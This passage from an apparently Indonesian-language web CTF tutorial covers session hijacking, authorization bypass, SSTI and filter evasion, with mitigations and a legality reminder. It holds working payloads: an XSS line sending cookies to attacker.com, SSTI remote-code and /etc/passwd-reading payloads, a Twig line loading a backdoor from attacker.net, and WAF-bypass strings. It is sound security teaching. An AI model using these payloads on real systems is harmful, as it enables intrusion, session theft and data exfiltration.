&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Session Hijacking:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Via XSS
&amp;lt;script&amp;gt;document.location=&apos;http://attacker.com/?c=&apos;+document.cookie&amp;lt;/script&amp;gt;

# Via network sniffing (if HTTP not HTTPS)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Predictable Session IDs:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Jika session ID sequential atau predictable
session_ids = [f&quot;SESS{i}&quot; for i in range(1000, 2000)]
# Try each session ID
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. Cookie Manipulation:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Decode base64 cookie
atob(&quot;dXNlcj1ndWVzdA==&quot;)  // Output: user=guest

// Modify and re-encode
btoa(&quot;user=admin&quot;)  // dXNlcj1hZG1pbg==

// Tamper with serialized cookies
user=O:4:&quot;User&quot;:2:{s:4:&quot;name&quot;;s:5:&quot;admin&quot;;s:4:&quot;role&quot;;s:5:&quot;admin&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;B. Authorization Bypass&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Insecure Direct Object Reference (IDOR):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Normal request
GET /api/user/1234/profile

# IDOR - access other user&apos;s profile
GET /api/user/1235/profile
GET /api/user/1/profile  (admin?)

# Mass Assignment
POST /api/user/1234/update
{&quot;email&quot;: &quot;new@email.com&quot;, &quot;role&quot;: &quot;admin&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Path Traversal in Authorization:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Bypass dengan path manipulation
/admin/../../user/profile
/admin/../user/settings
/admin/%2e%2e%2fuser/data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. HTTP Method Tampering:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# POST blocked but PUT/PATCH allowed
curl -X PUT http://target.com/admin/delete/user/123

# GET blocked but HEAD allowed
curl -I http://target.com/admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. Parameter Pollution:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Application checks first parameter
/admin?role=user&amp;amp;role=admin

# Try array notation
/admin?role[]=user&amp;amp;role[]=admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. Missing Function Level Access Control:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Access admin functions directly
/user/profile  (allowed)
/admin/panel  (should check but doesn&apos;t)
/api/admin/deleteUser?id=123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;6. OAuth/SAML Vulnerabilities:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OAuth Misconfigurations:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Open redirect in redirect_uri
?redirect_uri=https://attacker.com

# Token leakage via Referer header
# CSRF in OAuth flow
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;SAML Attacks:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- XML Signature Wrapping --&amp;gt;
&amp;lt;!-- Comment injection --&amp;gt;
&amp;lt;!-- XXE in SAML response --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Advanced Techniques:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Race Conditions:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Multiple simultaneous requests
# Bypass rate limiting or one-time token checks
import threading
def attempt_login():
    requests.post(&apos;/login&apos;, data={&apos;token&apos;: &apos;one-time-token&apos;})

threads = [threading.Thread(target=attempt_login) for _ in range(10)]
[t.start() for t in threads]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. 2FA Bypass:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Techniques:
- Response manipulation (change &quot;success&quot;:false to true)
- Direct access to post-2FA endpoint
- Brute force 2FA code (if no rate limit)
- Backup codes enumeration
- Remember me functionality abuse
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. Password Reset Vulnerabilities:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Host header injection
Host: attacker.com

# Token leakage via Referer
# Predictable tokens
# Token doesn&apos;t expire
# Token reuse
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Tools:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;: Intercept dan modify requests&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JWT.io&lt;/strong&gt;: JWT decoder/encoder&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Postman&lt;/strong&gt;: API testing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hydra/Medusa&lt;/strong&gt;: Brute force&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AuthMatrix&lt;/strong&gt;: Burp extension untuk testing authorization&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Real-World Examples:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Facebook OAuth vulnerability&lt;/li&gt;
&lt;li&gt;GitHub JWT bypass&lt;/li&gt;
&lt;li&gt;Instagram password reset flaw&lt;/li&gt;
&lt;li&gt;Uber IDOR vulnerability&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Authentication:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Implement proper password hashing (bcrypt, argon2)&lt;/li&gt;
&lt;li&gt;Use strong JWT secrets&lt;/li&gt;
&lt;li&gt;Implement rate limiting&lt;/li&gt;
&lt;li&gt;Multi-factor authentication&lt;/li&gt;
&lt;li&gt;Secure session management&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Authorization:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Implement proper access control checks&lt;/li&gt;
&lt;li&gt;Validate user permissions on every request&lt;/li&gt;
&lt;li&gt;Use centralized authorization logic&lt;/li&gt;
&lt;li&gt;Principle of least privilege&lt;/li&gt;
&lt;li&gt;Log and monitor access attempts&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7. Server-Side Template Injection (SSTI)&lt;/h3&gt;
&lt;p&gt;SSTI adalah kerentanan yang terjadi ketika user input di-embed ke dalam template engine tanpa proper sanitization, memungkinkan attacker untuk inject template directives dan menjalankan arbitrary code di server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Template Engines yang Rentan:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Python&lt;/strong&gt;: Jinja2, Mako, Tornado&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP&lt;/strong&gt;: Twig, Smarty&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JavaScript&lt;/strong&gt;: Handlebars, Pug, EJS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Java&lt;/strong&gt;: Freemarker, Velocity&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ruby&lt;/strong&gt;: ERB, Slim&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Cara Deteksi:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Test dengan payload sederhana untuk melihat apakah expression di-evaluate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{7*7}}
${7*7}
&amp;lt;%= 7*7 %&amp;gt;
${{7*7}}
#{7*7}
*{7*7}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Jika output menunjukkan &lt;code&gt;49&lt;/code&gt; atau hasil evaluasi lainnya, kemungkinan vulnerable terhadap SSTI.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload Umum:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jinja2 (Python/Flask):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Basic RCE
{{config.items()}}
{{self.__init__.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;id&apos;).read()}}

# Alternative payloads
{{&apos;&apos;.__class__.__mro__[1].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;cat /etc/passwd&apos;).read()}}

# File read
{{&apos;&apos;.__class__.__mro__[2].__subclasses__()[40](&apos;/etc/passwd&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Twig (PHP):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{_self.env.registerUndefinedFilterCallback(&quot;exec&quot;)}}{{_self.env.getFilter(&quot;id&quot;)}}
{{_self.env.setCache(&quot;ftp://attacker.net/&quot;)}}{{_self.env.loadTemplate(&quot;backdoor&quot;)}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;EJS (Node.js):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;%- global.process.mainModule.require(&apos;child_process&apos;).execSync(&apos;cat /etc/passwd&apos;) %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Freemarker (Java):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;#assign ex=&quot;freemarker.template.utility.Execute&quot;?new()&amp;gt; ${ ex(&quot;id&quot;) }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Teknik Exploitation:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Identifikasi Template Engine&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Test berbagai payload untuk menentukan engine yang digunakan&lt;/li&gt;
&lt;li&gt;Lihat error messages untuk clue tentang technology stack&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Bypass Filters&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Jika &apos;.&apos; di-block
{{request[&apos;application&apos;][&apos;__globals__&apos;][&apos;__builtins__&apos;][&apos;__import__&apos;](&apos;os&apos;)[&apos;popen&apos;](&apos;id&apos;)[&apos;read&apos;]()}}

# Jika &apos;__&apos; di-block
{{request|attr(&apos;application&apos;)|attr(&apos;\x5f\x5fglobals\x5f\x5f&apos;)}}

# Menggunakan encoding
{{&quot;__cla&quot;+&quot;ss__&quot;}}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RCE via Built-in Functions&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Python
{{lipsum.__globals__[&apos;os&apos;].popen(&apos;ls&apos;).read()}}
{{cycler.__init__.__globals__.os.popen(&apos;id&apos;).read()}}

# Access to config
{{config[&apos;SECRET_KEY&apos;]}}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Blind SSTI&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gunakan time-based detection&lt;/li&gt;
&lt;li&gt;Out-of-band interaction (DNS, HTTP)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{{&apos;&apos;.__class__.__mro__[1].__subclasses__()[396](&apos;sleep 5&apos;,shell=True,stdout=-1).communicate()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Tools untuk SSTI:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;tplmap&lt;/strong&gt;: Automated SSTI detection and exploitation&lt;pre&gt;&lt;code&gt;tplmap -u &apos;http://target.com/page?name=test&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSTImap&lt;/strong&gt;: Alternative tool untuk SSTI scanning&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite Extensions&lt;/strong&gt;: Backslash Powered Scanner&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Real-World Impact:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Remote Code Execution&lt;/li&gt;
&lt;li&gt;Full server compromise&lt;/li&gt;
&lt;li&gt;Data exfiltration&lt;/li&gt;
&lt;li&gt;Privilege escalation&lt;/li&gt;
&lt;li&gt;Internal network access&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Selalu sanitize user input&lt;/li&gt;
&lt;li&gt;Gunakan sandboxed template environments&lt;/li&gt;
&lt;li&gt;Implement whitelist untuk allowed characters&lt;/li&gt;
&lt;li&gt;Avoid passing user input directly ke template engine&lt;/li&gt;
&lt;li&gt;Use logic-less templates jika memungkinkan&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tools yang Sering Digunakan&lt;/h2&gt;
&lt;h3&gt;Reconnaissance&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;: Web proxy untuk intercept dan modify requests&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OWASP ZAP&lt;/strong&gt;: Alternative open-source untuk Burp&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ffuf/gobuster&lt;/strong&gt;: Directory fuzzing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nmap&lt;/strong&gt;: Port scanning&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;sqlmap&lt;/strong&gt;: Automated SQL injection tool&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XSStrike&lt;/strong&gt;: XSS detection and exploitation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CyberChef&lt;/strong&gt;: Encoding/decoding utility&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;curl/wget&lt;/strong&gt;: Manual HTTP requests&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Developer Tools&lt;/strong&gt;: Browser built-in tools&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wappalyzer&lt;/strong&gt;: Technology detection&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;nikto&lt;/strong&gt;: Web server scanner&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Metodologi Solving Web CTF&lt;/h2&gt;
&lt;h3&gt;1. Reconnaissance&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Inspect source code (HTML, JS, CSS)&lt;/li&gt;
&lt;li&gt;Check robots.txt, sitemap.xml&lt;/li&gt;
&lt;li&gt;Look for comments, debug information&lt;/li&gt;
&lt;li&gt;Identify technology stack&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Enumeration&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Directory fuzzing&lt;/li&gt;
&lt;li&gt;Parameter discovery&lt;/li&gt;
&lt;li&gt;Subdomain enumeration&lt;/li&gt;
&lt;li&gt;API endpoint discovery&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Vulnerability Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Test input fields&lt;/li&gt;
&lt;li&gt;Check for common vulnerabilities&lt;/li&gt;
&lt;li&gt;Analyze authentication mechanisms&lt;/li&gt;
&lt;li&gt;Review session management&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. Exploitation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Craft payload&lt;/li&gt;
&lt;li&gt;Bypass filters (WAF, input validation)&lt;/li&gt;
&lt;li&gt;Chain multiple vulnerabilities&lt;/li&gt;
&lt;li&gt;Privilege escalation&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5. Post-Exploitation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Find the flag&lt;/li&gt;
&lt;li&gt;Document findings&lt;/li&gt;
&lt;li&gt;Clean up traces&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tips &amp;amp; Tricks&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Always View Source&lt;/strong&gt;: Flag bisa tersembunyi di HTML comments, JavaScript, atau CSS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intercept Everything&lt;/strong&gt;: Gunakan proxy untuk melihat semua requests/responses&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Test Input Validation&lt;/strong&gt;: Coba berbagai payloads untuk bypass filters&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chain Vulnerabilities&lt;/strong&gt;: Kombinasi multiple bugs untuk exploitasi yang lebih powerful&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read Documentation&lt;/strong&gt;: Pahami teknologi yang digunakan oleh target&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use CTF Platforms&lt;/strong&gt;: Practice di platform seperti HackTheBox, TryHackMe, PicoCTF&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Common Bypasses&lt;/h2&gt;
&lt;h3&gt;WAF Bypass&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Case variation
&amp;lt;ScRiPt&amp;gt;alert(1)&amp;lt;/sCrIpT&amp;gt;

# Encoding
%3Cscript%3Ealert(1)%3C/script%3E

# Nested tags
&amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;alert(1)&amp;lt;/scr&amp;lt;/script&amp;gt;ipt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Filter Bypass&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Blacklist bypass
cat fl&apos;&apos;ag.txt
c&apos;&apos;at flag.txt

# Whitespace alternatives
cat${IFS}flag.txt
cat$IFS$9flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Resources untuk Belajar&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WebGoat&lt;/strong&gt;: OWASP interactive security lessons&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DVWA&lt;/strong&gt;: Damn Vulnerable Web Application&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PortSwigger Academy&lt;/strong&gt;: Free web security training&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PentesterLab&lt;/strong&gt;: Hands-on web penetration testing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CTFtime&lt;/strong&gt;: Calendar dan writeups dari CTF competitions&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kesimpulan&lt;/h2&gt;
&lt;p&gt;Web exploitation adalah skill fundamental dalam cybersecurity. CTF competitions adalah cara yang excellent untuk belajar dan practice dalam lingkungan yang aman dan legal. Selalu remember:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Practice di environment yang legal&lt;/li&gt;
&lt;li&gt;Jangan test di sistem tanpa permission&lt;/li&gt;
&lt;li&gt;Document your learning process&lt;/li&gt;
&lt;li&gt;Share knowledge dengan community&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Happy hacking, dan selamat berburu flag! 🚩&lt;/p&gt;
</content:encoded></item></channel></rss>